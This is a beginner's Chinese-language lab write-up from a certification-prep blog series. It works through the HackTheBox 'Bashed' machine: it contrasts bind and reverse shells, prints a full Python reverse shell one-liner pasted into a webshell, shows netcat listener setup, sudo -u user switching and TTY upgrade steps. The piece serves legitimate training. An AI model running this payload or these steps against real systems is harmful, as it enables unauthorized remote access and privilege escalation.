iT邦幫忙

2026 iThome 鐵人賽

DAY 9
0
Security

《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》系列 第 9

Day 9 — Webshell 不夠用?來試試 Reverse Shell!

  • 分享至 

  • xImage
  •  

昨天拿到 Webshell 之後,

我原本想說:

「有 Shell 了耶!!! 應該可以快樂跟目標機器Bashed互動,慢慢了解他了吧~」

結果用之後才發現,

好像沒有想像中那麼方便 xdd
尤其昨天在嘗試 sudo 的時候,完全感受到 Interactive 的限制 QQ

在滲透測試裡,常見的方式包含 Webshell、Bind Shell、Reverse Shell

昨天拿到的 phpbash 是 Webshell。

它讓我們可以在網頁上對 Target 執行指令,

但實際上......

用起來還是有點卡卡的。

那有沒有其他方式,可以讓我們更方便地跟 Target 互動呢?

今天就來試試看另外兩種常見的 Shell :

Bind Shell 跟 Reverse Shell!


Bind Shell vs Reverse Shell

先來看兩者最大的差別 - 誰主動建立連線

Bind Shell

Bind Shell 是由 Target 開一個 Listener,等待我們連進去。

也就是攻擊者(現在的我們)主動連到 Target:

Bind Shell
我們 ─────────→ Target
      主動連入
      ```

Reverse Shell

Reverse Shell 則是反過來,讓目標機器主動連回我們的機器(攻擊機)

Reverse Shell
我們 ←───────── Target
      Target 主動連出    

Bind Shell v.s Reverse Shell?

因為相較「裡面出去的連線」,防火牆通常較會擋「外面進來的連線」。Reverse Shell 是目標主動出去的,比較不容易被擋。所以我們選擇走Reverse Shell的方式

如果是 Bind Shell,我們需要從自己的攻擊機器主動連到目標機器開放的 Port。

但實際環境中,目標機器可能位在 Firewall、NAT 或其他網路限制後面,從外部直接連進去不一定能成功。

Reverse Shell 則是讓目標機器主動向外(向我們)建立連線。

相較「裡面出去的連線」,防火牆通常較會擋「外面進來的連線」

Reverse Shell 是由我們的目標機器(Bashed)主動連出來連到我們的,比較不容易被擋。所以我們選擇走Reverse Shell的方式

(當然,這不是代表 Reverse Shell 一定不會被 Firewall阻擋呦><)


這是今天在Bashed機器拿到的target ip: 10.129.72.206
https://ithelp.ithome.com.tw/upload/images/20260923/20184189E2AuLdLxEF.png


Reverse Shell Payload製造前哨站 - 想製造Reverse Shell怎麼做呢?

不同目標環境,所能接受的Payload也不同,在決定Reverse Shell的Payload前,我們先一起來確認我們的目標環境~~~
https://ithelp.ithome.com.tw/upload/images/20260923/20184189s18ijHQ5w0.png

uname -a確認kernel版本
https://ithelp.ithome.com.tw/upload/images/20260923/201841899wCPWcIyt5.png

which python3確認目標主機,有沒有Python
https://ithelp.ithome.com.tw/upload/images/20260923/20184189P4Cogu3eQ0.png


第一步:在 Pwnbox 開監聽

在 Pwnbox 的終端機跑:

nc -lvnp 4444
  • -l:監聽模式
  • -v:顯示詳細資訊
  • -n:不做 DNS 查詢
  • -p 4444:監聽 Port 4444
    這個終端機就這樣等著,等 我們的目標機器Bashed 連回來。

https://ithelp.ithome.com.tw/upload/images/20260923/20184189Ia2OA8DQ9t.png


第二步:

至Reverse Shell Generator(Reverse Shell的生成網站),將IP改為我們的攻擊機IP(10.10.15.205),Port改為我們在前一步設定的監聽port(4444)
https://ithelp.ithome.com.tw/upload/images/20260923/201841892L33DTmt1Y.png

依據我們在Reverse Shell Payload製造前哨站,確認目標機器Bashed有Python3,我們選擇製作Python Reverse Payload
https://ithelp.ithome.com.tw/upload/images/20260923/20184189Nj3naVkNdr.png

什麼???這是什麼???好可怕捏

我們請 AI 解答一下!

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.205",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
  • python3 -c:使用 Python3 執行後面的程式
  • socket:建立網路連線
  • s.connect(("10.10.15.205",4444)):讓 Bashed 主動連回我們的 Pwnbox
  • os.dup2(...):把 Shell 的輸入、輸出接到這條連線
  • pty.spawn("sh"):啟動 sh Shell

第三步:

把我們在第二步製作出的Python Reverse Shell Payload,貼至phpbash.min.php的指令欄位,輸入

`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.205",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`

按Enter
https://ithelp.ithome.com.tw/upload/images/20260923/20184189nmW303xIEV.png

這時候回到我們剛剛開著 nc 的終端機,

出現了:

Connection received on 10.129.72.206 39362
$

成功收到連線了!!!🥳

這個$代表我們現在已經成功拿到目標機器 Bashed 的 Shell哩!!!

我們從瀏覽器裡的 phpbash,變成可以直接在 Terminal 裡跟目標機器的 Shell 互動!!!

這兩個畫面之間,只有一行 Python 指令的距離(萬歲!!!
https://ithelp.ithome.com.tw/upload/images/20260923/20184189WtPrpagKNa.png


第四步:

  • 拿到 shell 之後,下whoami,確認我們現在是誰:
    https://ithelp.ithome.com.tw/upload/images/20260923/201841893ZbKFMCFmD.png
    之前透過 phpbash.min.php 的 webshell 執行指令,有它的限制,像 sudo su 完全沒反應(昨天試過,深刻體會 QQ)。
    現在這個 $ 是我們精心打造的 Python Reverse Shell,Bashed 主動連回我們的 Pwnbox,可以做 webshell 做不到的事><

  • pwd,看看我們現在在哪!
    https://ithelp.ithome.com.tw/upload/images/20260923/20184189QkoB6F5dNM.png
    /var/www/html/dev——這不是 Pwnbox 的路徑,是 Bashed 的檔案系統~
    我們成功進到目標機器的 Shell 了!


第五步:

我們下:

sudo su scriptmanager

https://ithelp.ithome.com.tw/upload/images/20260923/20184189nH4g4KGcDC.png

發現要輸入我們自己www-data的密碼

但這個 Shell 是我透過 Webshell / Reverse Shell 拿到的,手上根本沒有 www-data 可以使用的密碼 QQ

昨天用 sudo -u 有成功,那換我們換sudo -u試試看!我們下sudo -u scriptmanager bash -i

  • sudo:讓我們用較高的權限執行指令,通常是以 root 身分執行
  • -u scriptmanager:指定要用 scriptmanager 的身分執行
  • bash:開啟 Bash Shell,可以把它想成讓我們在 Terminal 裡下指令的介面
  • -i:Interactive,開啟互動式 Shell,讓我們可以一直輸入指令、跟這個 Shell 互動
    https://ithelp.ithome.com.tw/upload/images/20260923/20184189JxJXxgFOSg.png

whoami,確認我們現在的身分
https://ithelp.ithome.com.tw/upload/images/20260923/20184189U20fiNhMWe.png

確認兩次,我們成功切換成scriptmanager的身分了


但是……好像還是怪怪的?

雖然已經如願變成 scriptmanager

但我的鍵盤......怎麼按 ↑、↓ 都沒反應......

這樣打過的指令我還要一直重打欸!

而且有時候按一些鍵,還會跑出奇怪的字元 XD

https://ithelp.ithome.com.tw/upload/images/20260923/20184189ZTsyeSuEGb.png

不是已經有 Reverse Shell 了嗎?

怎麼還是怪怪的?

所以我就上網查了一下:

Reverse Shell 為什麼不能使用上下鍵?

原來這跟 TTY 有關!

那 TTY 又是什麼???😂

TTY 就是讓我們拿到的 Shell,更像平常使用的 Terminal。

平常我們開 Terminal,
可以按 ↑、↓ 找之前打過的指令,
也可以正常使用鍵盤操作。

但現在這個 Reverse Shell,

雖然已經成功連進來了,

Shell 有了,但互動起來還是怪怪的。

所以接下來要做的,
就是把這個 Shell 升級成我們平常習慣的 Terminal,

至少可以正常按 ↑、↓ 找之前打過的指令,
不能叫我每次都打一遍吧 XD

這個過程就叫:TTY Upgrade


第六步:

雖然現在已經有 Reverse Shell 了,

但用起來還是不太好用。

像是按鍵盤 ↑、↓ 想找之前打過的指令,

什麼都沒找到,反而得到一堆亂碼 XD

現在就來把它升級成比較完整的 TTY吧~~~

升級成完整的 TTY:

python -c 'import pty; pty.spawn("/bin/bash")'
  • python -c:直接執行後面的 Python 程式
  • import pty:載入 Python 的 pty 模組
  • pty.spawn("/bin/bash"):透過 PTY 啟動 Bash Shell

那 PTY 是什麼?

PTY 全名是 Pseudo Terminal(虛擬終端機)~

可以簡單把它想成:

是來幫我們模擬一個比較像正常 Terminal 環境的好戰友><

我們現在拿到的 Reverse Shell,
雖然可以下指令,

但跟平常開 Terminal 還是有一段差距。

透過 PTY,可以讓這個 Shell 更像平常使用的 Terminal~

https://ithelp.ithome.com.tw/upload/images/20260923/20184189P5br5gg0cG.png

然後:

Ctrl+Z   # 把 shell 推到背景
stty raw -echo   # 讓終端機的按鍵直接傳到 shell,不經過本機處理
fg   # 把 shell 拉回前景
export TERM=xterm   # 設定終端機類型

https://ithelp.ithome.com.tw/upload/images/20260923/20184189lZzxD2fO2h.png

https://ithelp.ithome.com.tw/upload/images/20260923/20184189QQX1jQVMkU.png

ㄚㄚㄚㄚ沒有成功!!!

不是說這樣就能升級成可以切換上下鍵、也不會任意斷掉的 Shell ㄇ?????

TTY 騙我~~~~

我要找 AI !!!


AI老師的教導下,

這次我們一定會成功><

我們先重新監聽一次:
https://ithelp.ithome.com.tw/upload/images/20260923/20184189QvEO47Ip49.png

接著輸入 Reverse Shell Payload,按 Enter:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.205",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

,按Enter
https://ithelp.ithome.com.tw/upload/images/20260923/20184189IGYPPSu52R.png

回到我們的 Terminal,發現成功拿到 Reverse Shell!🎉
https://ithelp.ithome.com.tw/upload/images/20260923/20184189lgc18O62Qo.png

接著用 sudo -u 重新變回 scriptmanager:
https://ithelp.ithome.com.tw/upload/images/20260923/20184189nfU5nRPjID.png

再來重新做一次 TTY Upgrade:

python -c 'import pty; pty.spawn("/bin/bash")'

https://ithelp.ithome.com.tw/upload/images/20260923/20184189of7NMjL5A8.png

AI云~~~

接下來按鍵盤的 Ctrl+Z
(是按喔~~不是打字,是真的按這兩個鍵!!!)

→ Shell 會暫時被推到背景,我們會回到 Pwnbox

https://ithelp.ithome.com.tw/upload/images/20260923/20184189oQrniW0x3r.png

但當下看到又跳回 Pwnbox,

還是嚇了一下 ><

以為又失敗ㄌ~~這次連 AI 都騙我 QQ

但 AI 說這其實是邁向成功的道路。

現在我們已經回到 Pwnbox,

繼續執行:

stty raw -echo

stty raw -echo 做了兩件事:

  • raw:讓我們按的鍵,直接傳給遠端 Shell
  • -echo:不要把我們按的鍵顯示在畫面上

反正就是來協助我們繼續完成 TTY Upgrade><

https://ithelp.ithome.com.tw/upload/images/20260923/201841893bWc5KWYPj.png

接著輸入 fg

奇怪!!!怎麼打了螢幕都沒出現,Terminal 壞掉了ㄇ!!!

重新 Open 我們的 Pwnbox,還是一樣!!!

太怪了!我們再問看看 AI><

(稍等片刻......)

AI 解答囉!!!

AI 說 stty raw -echo 執行之後,

Terminal 可能會變得奇奇怪怪,

看起來就像卡住~~~

但!不要怕!

直接盲打 fg,然後按 Enter,

就算看不到字也沒關係,

盲打就好~~

按 Enter 之後,

應該會回到 scriptmanager@bashed,我們再輸入:export TERM=xterm

https://ithelp.ithome.com.tw/upload/images/20260923/201841897fdZNVcAU1.png

看到最後一行:

scriptmanager@bashed:/var/www/html/dev$

TTY 升級完成囉!🎉

雖然下面的 fg: no such job 看起來有點怪 XD

但先不用管它,

我們直接用 whoami 驗證一下就知道了~
https://ithelp.ithome.com.tw/upload/images/20260923/20184189rPXbgVDPKt.png

whoamiscriptmanager

成功了!!!

現在是 scriptmanager 的身份了~

原本拿到 Reverse Shell 的時候,雖然可以下指令,但互動起來還是卡卡的><
經過 TTY Upgrade 之後,終於變成比較好操作的 Shell 了~


表揚時間到~~

最後來大大誇獎我們自己吧 🎉

今天達成了一件不可能的任務——從零開始,自己選出適合的 reverse shell、自己打開監聽、自己在 phpbash 貼上 payload,然後看著終端機跳出~~~

Connection received on 10.129.72.206 39362
$

這個 $ 不是隨便一個符號,是成功的象徵!!!
我們真的從 Webshell,透過 Payload 變成 Reverse Shell 了耶~~~ 🎉

reverse shell 的概念看起來很複雜——nc.exe、php、python......等等,Reverse Generator 網頁出現一大堆選項 都要頭昏眼花ㄌxddd

但今天走完一遍之後才發現,只要搞清楚「目標有什麼環境、選對應的 payload、開好監聽等著接」,一步一步都是通往成功的道路><

而且第一次就彈成功了耶!

我們真棒!!!🥳


上一篇
Day 8 — 拿到 Webshell 之後,我該做什麼?
系列文
《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言